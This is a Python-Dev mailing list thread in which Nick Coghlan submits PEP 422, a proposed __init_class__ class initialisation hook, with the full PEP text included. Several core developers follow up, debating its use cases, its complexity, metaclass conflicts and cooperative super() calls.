Message-ID: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>

I wrote PEP 422 (simple class initialization hook) last year after PJE
pointed out that Python 3 style metaclasses made some Python 2 code
impossible to migrate (since the class body could no longer request
modifications to be made to the class after initialization was
complete).

It then languished, as I never found the time to actually implement
it. Fortunately, Daniel Urban has now agreed to be a co-author on the
PEP, and has fixed a couple of lingering technical errors in the PEP,
as well as providing a reference implementation at
http://bugs.python.org/issue17044

For those that don't recall the original discussion, the proposal is
to add a new __init_class__ hook, invoked after the class object is
created, but before the class decorators are applied. This provides a
simple approach to inherited post-creation modification of classes,
without the need for a custom metaclass.

There's currently no BDFL delegate assigned, so this is a request for
a pronouncement from Guido.

Regards,
Nick.

=======================================
PEP: 422
Title: Simple class initialisation hook
Version: $Revision$
Last-Modified: $Date$
Author: Nick Coghlan <ncoghlan at gmail.com>,
        Daniel Urban <urban.dani+py at gmail.com>
Status: Draft
Type: Standards Track
Content-Type: text/x-rst
Created: 5-Jun-2012
Python-Version: 3.4
Post-History: 5-Jun-2012, 10-Feb-2012


Abstract
========

In Python 2, the body of a class definition could modify the way a class
was created (or simply arrange to run other code after the class was created)
by setting the ``__metaclass__`` attribute in the class body. While doing
this implicitly from called code required the use of an implementation detail
(specifically, ``sys._getframes()``), it could also be done explicitly in a
fully supported fashion (for example, by passing ``locals()`` to a
function that calculated a suitable ``__metaclass__`` value)

There is currently no corresponding mechanism in Python 3 that allows the
code executed in the class body to directly influence how the class object
is created. Instead, the class creation process is fully defined by the
class header, before the class body even begins executing.

This PEP proposes a mechanism that will once again allow the body of a
class definition to more directly influence the way a class is created
(albeit in a more constrained fashion), as well as replacing some current
uses of metaclasses with a simpler, easier to understand alternative.


Background
==========

For an already created class ``cls``, the term "metaclass" has a clear
meaning: it is the value of ``type(cls)``.

*During* class creation, it has another meaning: it is also used to refer to
the metaclass hint that may be provided as part of the class definition.
While in many cases these two meanings end up referring to one and the same
object, there are two situations where that is not the case:

* If the metaclass hint refers to an instance of ``type``, then it is
  considered as a candidate metaclass along with the metaclasses of all of
  the parents of the class being defined. If a more appropriate metaclass is
  found amongst the candidates, then it will be used instead of the one
  given in the metaclass hint.
* Otherwise, an explicit metaclass hint is assumed to be a factory function
  and is called directly to create the class object. In this case, the final
  metaclass will be determined by the factory function definition. In the
  typical case (where the factory functions just calls ``type``, or, in
  Python 3.3 or later, ``types.new_class``) the actual metaclass is then
  determined based on the parent classes.

It is notable that only the actual metaclass is inherited - a factory
function used as a metaclass hook sees only the class currently being
defined, and is not invoked for any subclasses.

In Python 3, the metaclass hint is provided using the ``metaclass=Meta``
keyword syntax in the class header. This allows the ``__prepare__`` method
on the metaclass to be used to create the ``locals()`` namespace used during
execution of the class body (for example, specifying the use of
``collections.OrderedDict`` instead of a regular ``dict``).

In Python 2, there was no ``__prepare__`` method (that API was added for
Python 3 by PEP 3115). Instead, a class body could set the ``__metaclass__``
attribute, and the class creation process would extract that value from the
class namespace to use as the metaclass hint. There is `published code`_ that
makes use of this feature.

Another new feature in Python 3 is the zero-argument form of the ``super()``
builtin, introduced by PEP 3135. This feature uses an implicit ``__class__``
reference to the class being defined to replace the "by name" references
required in Python 2. Just as code invoked during execution of a Python 2
metaclass could not call methods that referenced the class by name (as the
name had not yet been bound in the containing scope), similarly, Python 3
metaclasses cannot call methods that rely on the implicit ``__class__``
reference (as it is not populated until after the metaclass has returned
control to the class creation machiner).


Proposal
========

This PEP proposes that a mechanism be added to Python 3 that meets the
following criteria:

1. Restores the ability for class namespaces to have some influence on the
   class creation process (above and beyond populating the namespace itself),
   but potentially without the full flexibility of the Python 2 style
   ``__metaclass__`` hook
2. Integrates nicely with class inheritance structures (including mixins and
   multiple inheritance)
3. Integrates nicely with the implicit ``__class__`` reference and
   zero-argument ``super()`` syntax introduced by PEP 3135
4. Can be added to an existing base class without a significant risk of
   introducing backwards compatibility problems

One mechanism that can achieve this goal is to add a new class
initialisation hook, modelled directly on the existing instance
initialisation hook, but with the signature constrained to match that
of an ordinary class decorator.

Specifically, it is proposed that class definitions be able to provide a
class initialisation hook as follows::

   class Example:
       @classmethod
       def __init_class__(cls):
           # This is invoked after the class is created, but before any
           # explicit decorators are called
           # The usual super() mechanisms are used to correctly support
           # multiple inheritance. The class decorator style signature helps
           # ensure that invoking the parent class is as simple as possible.

If present on the created object, this new hook will be called by the class
creation machinery *after* the ``__class__`` reference has been initialised.
For ``types.new_class()``, it will be called as the last step before
returning the created class object.

If a metaclass wishes to block class initialisation for some reason, it
must arrange for ``cls.__init_class__`` to trigger ``AttributeError``.

Note, that when ``__init_class__`` is called, the name of the class is not
bound to the new class object yet. As a consequence, the two argument form
of ``super()`` cannot be used to call methods (e.g., ``super(Example, cls)``
wouldn't work in the example above). However, the zero argument form of
``super()`` works as expected, since the ``__class__`` reference is already
initialised.

This general proposal is not a new idea (it was first suggested for
inclusion in the language definition `more than 10 years ago`_, and a
similar mechanism has long been supported by `Zope's ExtensionClass`_),
but the situation has changed sufficiently in recent years that
the idea is worth reconsidering.


Key Benefits
============


Replaces many use cases for dynamic setting of ``__metaclass__``
-----------------------------------------------------------------

For use cases that don't involve completely replacing the defined class,
Python 2 code that dynamically set ``__metaclass__`` can now dynamically
set ``__init_class__`` instead. For more advanced use cases, introduction of
an explicit metaclass (possibly made available as a required base class) will
still be necessary in order to support Python 3.


Easier inheritance of definition time behaviour
-----------------------------------------------

Understanding Python's metaclasses requires a deep understanding of
the type system and the class construction process. This is legitimately
seen as challenging, due to the need to keep multiple moving parts (the code,
the metaclass hint, the actual metaclass, the class object, instances of the
class object) clearly distinct in your mind. Even when you know the rules,
it's still easy to make a mistake if you're not being extremely careful.
An earlier version of this PEP actually included such a mistake: it
stated "subclass of type" for a constraint that is actually "instance of
type".

Understanding the proposed class initialisation hook only requires
understanding decorators and ordinary method inheritance, which isn't
quite as daunting a task. The new hook provides a more gradual path
towards understanding all of the phases involved in the class definition
process.


Reduced chance of metaclass conflicts
-------------------------------------

One of the big issues that makes library authors reluctant to use metaclasses
(even when they would be appropriate) is the risk of metaclass conflicts.
These occur whenever two unrelated metaclasses are used by the desired
parents of a class definition. This risk also makes it very difficult to
*add* a metaclass to a class that has previously been published without one.

By contrast, adding an ``__init_class__`` method to an existing type poses
a similar level of risk to adding an ``__init__`` method: technically, there
is a risk of breaking poorly implemented subclasses, but when that occurs,
it is recognised as a bug in the subclass rather than the library author
breaching backwards compatibility guarantees. In fact, due to the constrained
signature of ``__init_class__``, the risk in this case is actually even
lower than in the case of ``__init__``.


Integrates cleanly with \PEP 3135
---------------------------------

Unlike code that runs as part of the metaclass, code that runs as part of
the new hook will be able to freely invoke class methods that rely on the
implicit ``__class__`` reference introduced by PEP 3135, including methods
that use the zero argument form of ``super()``.


Alternatives
============


The Python 3 Status Quo
-----------------------

The Python 3 status quo already offers a great deal of flexibility. For
changes which only affect a single class definition and which can be
specified at the time the code is written, then class decorators can be
used to modify a class explicitly. Class decorators largely ignore class
inheritance and can make full use of methods that rely on the ``__class__``
reference being populated.

Using a custom metaclass provides the same level of power as it did in
Python 2. However, it's notable that, unlike class decorators, a metaclass
cannot call any methods that rely on the ``__class__`` reference, as that
reference is not populated until after the metaclass constructor returns
control to the class creation code.

One major use case for metaclasses actually closely resembles the use of
class decorators. It occurs whenever a metaclass has an implementation that
uses the following pattern::

    class Metaclass(type):
        def __new__(meta, *args, **kwds):
            cls = super(Metaclass, meta).__new__(meta, *args, **kwds)
            # Do something with cls
            return cls

The key difference between this pattern and a class decorator is that it
is automatically inherited by subclasses. However, it also comes with a
major disadvantage: Python does not allow you to inherit from classes with
unrelated metaclasses.

Thus, the status quo requires that developers choose between the following
two alternatives:

* Use a class decorator, meaning that behaviour is not inherited and must be
  requested explicitly on every subclass
* Use a metaclass, meaning that behaviour is inherited, but metaclass
  conflicts may make integration with other libraries and frameworks more
  difficult than it otherwise would be

If this PEP is ultimately rejected, then this is the existing design that
will remain in place by default.


Restoring the Python 2 metaclass hook
-------------------------------------

One simple alternative would be to restore support for a Python 2 style
``metaclass`` hook in the class body. This would be checked after the class
body was executed, potentially overwriting the metaclass hint provided in the
class header.

The main attraction of such an approach is that it would simplify porting
Python 2 applications that make use of this hook (especially those that do
so dynamically).

However, this approach does nothing to simplify the process of adding
*inherited* class definition time behaviour, nor does it interoperate
cleanly with the PEP 3135 ``__class__`` and ``super()`` semantics (as with
any metaclass based solution, the ``__metaclass__`` hook would have to run
before the ``__class__`` reference has been populated.


Dynamic class decorators
------------------------

The original version of this PEP was called "Dynamic class decorators" and
focused solely on a significantly more complicated proposal than that
presented in the current version.

As with the current version, it proposed that a new step be added to the
class creation process, after the metaclass invocation to construct the
class instance and before the application of lexical decorators. However,
instead of a simple process of calling a single class method that relies
on normal inheritance mechanisms, it proposed a far more complicated
procedure that walked the class MRO looking for decorators stored in
iterable ``__decorators__`` attributes.

Using the current version of the PEP, the scheme originally proposed could
be implemented as::

   class DynamicDecorators(Base):
       @classmethod
       def __init_class__(cls):
           # Process any classes later in the MRO
           try:
               mro_chain = super().__init_class__
           except AttributeError:
               pass
           else:
               mro_chain()
           # Process any __decorators__ attributes in the MRO
           for entry in reversed(cls.mro()):
               decorators = entry.__dict__.get("__decorators__", ())
               for deco in reversed(decorators):
                   cls = deco(cls)

Any subclasses of ``DynamicDecorators`` would then automatically have the
contents of any ``__decorators__`` attributes processed and invoked.

The mechanism in the current PEP is considered superior, as many issues
to do with ordering and the same decorator being invoked multiple times
just go away, as that kind of thing is taken care of through the use of an
ordinary class method invocation.


Automatic metaclass derivation
------------------------------

When no appropriate metaclass is found, it's theoretically possible to
automatically derive a metaclass for a new type based on the metaclass hint
and the metaclasses of the bases.

While adding such a mechanism would reduce the risk of spurious metaclass
conflicts, it would do nothing to improve integration with PEP 3135, would
not help with porting Python 2 code that set ``__metaclass__`` dynamically
and would not provide a more straightforward inherited mechanism for invoking
additional operations after the class invocation is complete.

In addition, there would still be a risk of metaclass conflicts in cases
where the base metaclasses were not written with multiple inheritance in
mind. In such situations, there's a chance of introducing latent defects
if one or more metaclasses are not invoked correctly.


Calling the new hook from ``type.__init__``
-------------------------------------------

Calling the new hook automatically from ``type.__init__``, would achieve most
of the goals of this PEP. However, using that approach would mean that
``__init_class__`` implementations would be unable to call any methods that
relied on the ``__class__`` reference (or used the zero-argument form of
``super()``), and could not make use of those features themselves.


Reference Implementation
========================

The reference implementation has been posted to the `issue tracker`_.


References
==========

.. _published code:
   http://mail.python.org/pipermail/python-dev/2012-June/119878.html

.. _more than 10 years ago:
   http://mail.python.org/pipermail/python-dev/2001-November/018651.html

.. _Zope's ExtensionClass:
   http://docs.zope.org/zope_secrets/extensionclass.html

.. _issue tracker:
   http://bugs.python.org/issue17044

Copyright
=========

This document has been placed in the public domain.


-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Sun Feb 10 13:47:00 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 10 Feb 2013 13:47:00 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
Message-ID: <20130210134700.7dd822df@pitrou.net>

On Sun, 10 Feb 2013 22:32:50 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> 
> Replaces many use cases for dynamic setting of ``__metaclass__``
> -----------------------------------------------------------------
> 
> For use cases that don't involve completely replacing the defined class,
> Python 2 code that dynamically set ``__metaclass__`` can now dynamically
> set ``__init_class__`` instead. For more advanced use cases, introduction of
> an explicit metaclass (possibly made available as a required base class) will
> still be necessary in order to support Python 3.

So, what are the use cases?
I probably write metaclasses once a year, I wonder how much incentive
there is to bring an additional complication to the already
complicated class construction process.

Regards

Antoine.



From ncoghlan at gmail.com  Sun Feb 10 14:17:00 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 10 Feb 2013 23:17:00 +1000
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <20130210134700.7dd822df@pitrou.net>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
Message-ID: <CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>

On Sun, Feb 10, 2013 at 10:47 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Sun, 10 Feb 2013 22:32:50 +1000
> Nick Coghlan <ncoghlan at gmail.com> wrote:
>>
>> Replaces many use cases for dynamic setting of ``__metaclass__``
>> -----------------------------------------------------------------
>>
>> For use cases that don't involve completely replacing the defined class,
>> Python 2 code that dynamically set ``__metaclass__`` can now dynamically
>> set ``__init_class__`` instead. For more advanced use cases, introduction of
>> an explicit metaclass (possibly made available as a required base class) will
>> still be necessary in order to support Python 3.

At least PEAK uses it for interface declarations, I believe Zope do
something similar.

However, just as I championed PEP 414 to make porting Unicode-aware
projects easier, I'm championing this one because I don't consider it
acceptable for Python 3 to be a less capable language than Python 2 in
this regard. Having come up with what I consider to be an elegant
design to restore that capability, I'm not especially interested in
passing judgment on the worthiness of what PJE is doing with Python 2
metaclasses that cannot currently be replicated in Python 3.

> So, what are the use cases?
> I probably write metaclasses once a year, I wonder how much incentive
> there is to bring an additional complication to the already
> complicated class construction process.

One of the main goals of the PEP is actually to give people even
*less* reason to write custom metaclasses, as you won't need to write
one any more if all you want to do is adjust the class attributes
after execution of the class body completes, and automatically do the
same for any subclasses. (The latter part is key - if you don't want
inheritance, then class decorators fill the role just fine. That's why
the design in the PEP is the way it us - __init_class__ effectively
becomes the innermost class decorator, which is called even for
subclasses)

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From hodgestar+pythondev at gmail.com  Sun Feb 10 14:33:10 2013
From: hodgestar+pythondev at gmail.com (Simon Cross)
Date: Sun, 10 Feb 2013 15:33:10 +0200
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
Message-ID: <CAD5NRCHaG1q_GmN1Cbgubg218x8Jz27Y+6+90CRjb0P4S-K9tg@mail.gmail.com>

On Sun, Feb 10, 2013 at 2:32 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> For those that don't recall the original discussion, the proposal is
> to add a new __init_class__ hook, invoked after the class object is
> created, but before the class decorators are applied. This provides a
> simple approach to inherited post-creation modification of classes,
> without the need for a custom metaclass.

Couldn't one just write a metaclass that calls __init_class__ for you?

Schiavo
Simon

From solipsis at pitrou.net  Sun Feb 10 14:34:42 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 10 Feb 2013 14:34:42 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
Message-ID: <20130210143442.5e3cafcc@pitrou.net>

On Sun, 10 Feb 2013 23:17:00 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Sun, Feb 10, 2013 at 10:47 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> > On Sun, 10 Feb 2013 22:32:50 +1000
> > Nick Coghlan <ncoghlan at gmail.com> wrote:
> >>
> >> Replaces many use cases for dynamic setting of ``__metaclass__``
> >> -----------------------------------------------------------------
> >>
> >> For use cases that don't involve completely replacing the defined class,
> >> Python 2 code that dynamically set ``__metaclass__`` can now dynamically
> >> set ``__init_class__`` instead. For more advanced use cases, introduction of
> >> an explicit metaclass (possibly made available as a required base class) will
> >> still be necessary in order to support Python 3.
> 
> At least PEAK uses it for interface declarations, I believe Zope do
> something similar.

zope.interface has been ported to Python 3, so the annoyance can't be
very blocking.

> However, just as I championed PEP 414 to make porting Unicode-aware
> projects easier, I'm championing this one because I don't consider it
> acceptable for Python 3 to be a less capable language than Python 2 in
> this regard.

This sounds like a theoretical concern rather than a practical one.

> Having come up with what I consider to be an elegant
> design to restore that capability, I'm not especially interested in
> passing judgment on the worthiness of what PJE is doing with Python 2
> metaclasses that cannot currently be replicated in Python 3.

It may be locally elegant, but it still brings additional complication
to the global model. Reading your proposal reminds me of the various
ways of influencing the pickle protocol:
http://docs.python.org/dev/library/pickle.html#pickling-class-instances

Nobody can claim this is simple and easy to wrap your head around. It
is a maintenance burden, and it discourages understanding of the
underlying model by anyone but language experts.

Regards

Antoine.

From ncoghlan at gmail.com  Sun Feb 10 14:52:33 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 10 Feb 2013 23:52:33 +1000
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CAD5NRCHaG1q_GmN1Cbgubg218x8Jz27Y+6+90CRjb0P4S-K9tg@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<CAD5NRCHaG1q_GmN1Cbgubg218x8Jz27Y+6+90CRjb0P4S-K9tg@mail.gmail.com>
Message-ID: <CADiSq7eMmB1DafU0tLBTXkiAOWZhu=3N0dNhCpgx2JXHYXdVWw@mail.gmail.com>

On Sun, Feb 10, 2013 at 11:33 PM, Simon Cross
<hodgestar+pythondev at gmail.com> wrote:
> On Sun, Feb 10, 2013 at 2:32 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>> For those that don't recall the original discussion, the proposal is
>> to add a new __init_class__ hook, invoked after the class object is
>> created, but before the class decorators are applied. This provides a
>> simple approach to inherited post-creation modification of classes,
>> without the need for a custom metaclass.
>
> Couldn't one just write a metaclass that calls __init_class__ for you?

And, indeed, that's what Zope did more than 10 years ago. The problem
is that you're now locked in to that metaclass - metaclass conflicts
become a permanent risk.

You also can't *add* a metaclass to public classes, the risk of
introducing metaclass conflicts means that such a change is always
backwards incompatible.

Adding __init_class__ is fine though, because that's no higher risk
than adding a __new__ or __init__ method (it's actually lower risk,
since the signature is always consistent).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Sun Feb 10 15:09:55 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 11 Feb 2013 00:09:55 +1000
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <20130210143442.5e3cafcc@pitrou.net>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
Message-ID: <CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>

On Sun, Feb 10, 2013 at 11:34 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Nobody can claim this is simple and easy to wrap your head around. It
> is a maintenance burden, and it discourages understanding of the
> underlying model by anyone but language experts.

You think anyone but language experts fully understands the metaclass
mechanism now? *I* got the description of some details wrong in the
PEP, and I'm probably in the top half dozen people on the planet when
it comes to understanding how Python 3's class model works.

Plenty of people understand decorators though, and that's all
__init_class__ is: a special class decorator that is applied before
any other decorators, and is automatically inherited by subclasses. It
massively lowers the barrier to entry for inherited post-modification
of classes.

Will it mean people will only bother to understand metaclasses if they
actually *need* metaclass.__prepare__ or to control the identity of
the object returned by metaclass.__call__? Absolutely. However, I
don't see that as any different from the fact that vastly more people
understand how to use instance __init__ methods correctly than
understand the ins and outs of using __new__ to control the *creation*
of the object, rather than merely initialising it after it is already
created. In some respects, cleanly separating out the two steps of
controlling initialisation and controlling creation can actually make
the two easier to grasp (since you can tackle them individually as
distinct concepts, rather than having to wrap your head around both of
them at the same time).

As far as the maintenance burden goes, the patch to enable PEP 422 for
types.new_class() is trivial:

-    return meta(name, bases, ns, **kwds)
+    cls = meta(name, bases, ns, **kwds)
+    try:
+        initcl = cls.__init_class__
+    except AttributeError:
+        pass
+    else:
+        initcl()
+    return cls

The change in the builtin.__build_class__ implementation is similarly
trivial (and has the same semantics), it's just more verbose due to
its being written in C.

The documentation changes are quite straightforward (moving
__init_class__ and decorator invocation out to their own subsection),
and the tests Daniel has provided are extensive.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Sun Feb 10 15:28:14 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 10 Feb 2013 15:28:14 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
Message-ID: <20130210152814.66c26f76@pitrou.net>

On Mon, 11 Feb 2013 00:09:55 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> 
> As far as the maintenance burden goes, the patch to enable PEP 422 for
> types.new_class() is trivial:
> 
> -    return meta(name, bases, ns, **kwds)
> +    cls = meta(name, bases, ns, **kwds)
> +    try:
> +        initcl = cls.__init_class__
> +    except AttributeError:
> +        pass
> +    else:
> +        initcl()
> +    return cls

I didn't know types.new_class(). I suppose that's because I'm not part
of the top half dozen people on the planet :-) I've stopped trying to
understand when I saw about the __build_class__ additions and whatnot.
I now consider that part of the language totally black magic.

I'm not sure it's a good thing when even some maintainers of the
language don't understand some of its (important) corners.

> The change in the builtin.__build_class__ implementation is similarly
> trivial (and has the same semantics), it's just more verbose due to
> its being written in C.

Sure, every little addition is "trivial". At the end you have a scary
monster made of many little trivial additions along the years, and
everyone has to take care not to break it.

Regards

Antoine.

From stefan_ml at behnel.de  Sun Feb 10 17:48:41 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Sun, 10 Feb 2013 17:48:41 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
	hook) for pronouncement
In-Reply-To: <20130210152814.66c26f76@pitrou.net>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net>
Message-ID: <kf8j16$n31$1@ger.gmane.org>

Antoine Pitrou, 10.02.2013 15:28:
> On Mon, 11 Feb 2013 00:09:55 +1000 Nick Coghlan wrote:
>> As far as the maintenance burden goes, the patch to enable PEP 422 for
>> types.new_class() is trivial:
>>
>> -    return meta(name, bases, ns, **kwds)
>> +    cls = meta(name, bases, ns, **kwds)
>> +    try:
>> +        initcl = cls.__init_class__
>> +    except AttributeError:
>> +        pass
>> +    else:
>> +        initcl()
>> +    return cls
> 
> I didn't know types.new_class(). I suppose that's because I'm not part
> of the top half dozen people on the planet :-) I've stopped trying to
> understand when I saw about the __build_class__ additions and whatnot.
> I now consider that part of the language totally black magic.
> 
> I'm not sure it's a good thing when even some maintainers of the
> language don't understand some of its (important) corners.

I, for one, only learned most of this stuff when we implemented it for
Cython and I'm sure there are lots of little details that I'm not aware of.
Use cases are too rare to fully learn it and the matter is certainly complex.


>> The change in the builtin.__build_class__ implementation is similarly
>> trivial (and has the same semantics), it's just more verbose due to
>> its being written in C.
> 
> Sure, every little addition is "trivial". At the end you have a scary
> monster made of many little trivial additions along the years, and
> everyone has to take care not to break it.

FWIW, I agree with Nick that this actually kills some use cases of
metaclasses and could thus lower the barrier for "doing stuff to classes"
for those who don't want to dig into metaclasses for one reason or another.

However, it's hard to say if this "new way of doing it" doesn't come with
its own can of worms. For example, would cooperative calls to
"__init_class__" work if a superclass already defines it? Do implementors
have to remember that? And is it clear how this should be done, e.g. what
should normally go first, my own code or the superclass call? Supporting
cooperative __init_class__() calls properly might actually be a good thing.
Currently, there's only one metaclass, plus a sequence of decorators, which
makes the setup rather static and sometimes tedious for subclasses that
need to do certain things by themselves, but in addition to what happens
already.

So, the way to explain it to users would be 1) don't use it, 2) if you
really need to do something to a class, use a decorator, 3) if you need to
decide dynamically what to do, define __init_class__() and 4) don't forget
to call super's __init_class__() in that case, and 5) only if you need to
do something substantially more involved and know what you're doing, use a
metaclass.

Sounds a bit smoother than the current metaclass hole that we throw people
into directly when a decorator won't catch it for them.

It's usually not a good idea to add complexity for something that's
essentially a rare use case. Only the assumption that it might actually
make it easier for users to handle certain other use cases where they'd
currently end up with their own home-grown metaclass is a point that makes
it worth considering for me. But then again, maybe these use cases are
really rare enough to just let people figure out how to do it with
metaclasses, or even a combination of metaclasses and decorators.

Stefan



From urban.dani+py at gmail.com  Sun Feb 10 21:51:39 2013
From: urban.dani+py at gmail.com (Daniel Urban)
Date: Sun, 10 Feb 2013 21:51:39 +0100
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <kf8j16$n31$1@ger.gmane.org>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
	<20130210134700.7dd822df@pitrou.net>
	<CADiSq7dBcvtTs2X_JM5Po7qNzaUk9zbtoN+9NGGv00X0OEX5gg@mail.gmail.com>
	<20130210143442.5e3cafcc@pitrou.net>
	<CADiSq7eYG6NYxMSyZAR9i2_65k6LBKt5PEZwC6SPkpotM3-KZw@mail.gmail.com>
	<20130210152814.66c26f76@pitrou.net> <kf8j16$n31$1@ger.gmane.org>
Message-ID: <CACoLFeSoz_hRnDUdBL-6uJruboyM-BiN0AxCK-pr9A6oeK9n2A@mail.gmail.com>

On Sun, Feb 10, 2013 at 5:48 PM, Stefan Behnel <stefan_ml at behnel.de> wrote:
> However, it's hard to say if this "new way of doing it" doesn't come with
> its own can of worms. For example, would cooperative calls to
> "__init_class__" work if a superclass already defines it? Do implementors
> have to remember that? And is it clear how this should be done, e.g. what
> should normally go first, my own code or the superclass call? Supporting
> cooperative __init_class__() calls properly might actually be a good thing.
> Currently, there's only one metaclass, plus a sequence of decorators, which
> makes the setup rather static and sometimes tedious for subclasses that
> need to do certain things by themselves, but in addition to what happens
> already.

Cooperative multiple inheritance of __init_class__ would work exactly
the same way as it works e.g., for __init__ of any other method
(actually it is easier, since as Nick mentioned, the signature is
always the same): __init_class__ can simply use the zero argument form
of super. There is a simple example in the tests at
http://bugs.python.org/issue17044.


Daniel

From pje at telecommunity.com  Sun Feb 10 22:27:49 2013
From: pje at telecommunity.com (PJ Eby)
Date: Sun, 10 Feb 2013 16:27:49 -0500
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
References: <CADiSq7cBJGOgDxcu=p1JJJ+btUXwk7v-yEvfz92a2V=C7c50Jg@mail.gmail.com>
Message-ID: <CALeMXf5Ww1gjSA77mB7tXKh5dK9fKMn4TMTzO7Mz8S1HUrq+_g@mail.gmail.com>

On Sun, Feb 10, 2013 at 7:32 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
>    class Example:
>        @classmethod
>        def __init_class__(cls):

Is the @classmethod required?  What happens if it's not present?

Second, will type have a default __init_class__?  (IMO, it should,
otherwise it will be impossible to write co-operative __init_class__
functions.)

Only other comment is that the PEP could use a more concrete use case, e.g.:

    class Record:
        __fields = {}

        @classmethod
        def __init_class__(cls):
             cls.__fields = dict(cls.__fields)  # inherited fields
             cls.__fields.update({attr:val for attr, val in
cls.__dict__.iteritems() if isinstance(val, Field)})
             super().__init_class__()   # be co-operative

         # ...other methods that use the __fields attribute

    class SomeRecord(Record):
          foo = Field(int)
          bar = Field(str)

Putting something like this early on might help to demonstrate the
usefulness of the feature on its own merits, independent of the
porting issue, etc.  ;-)

From pje at telecommunity.com  Sun Feb 10 22:41:31 2013
From: pje at telecommunity.com (PJ Eby)
Date: Sun, 10 Feb 2013 16:41:31 -0500
Subject: [Python-Dev] Submitting PEP 422 (Simple class initialization
 hook) for pronouncement
In-Reply-To: <kf8j16$n31$1@ger.gmane.org>
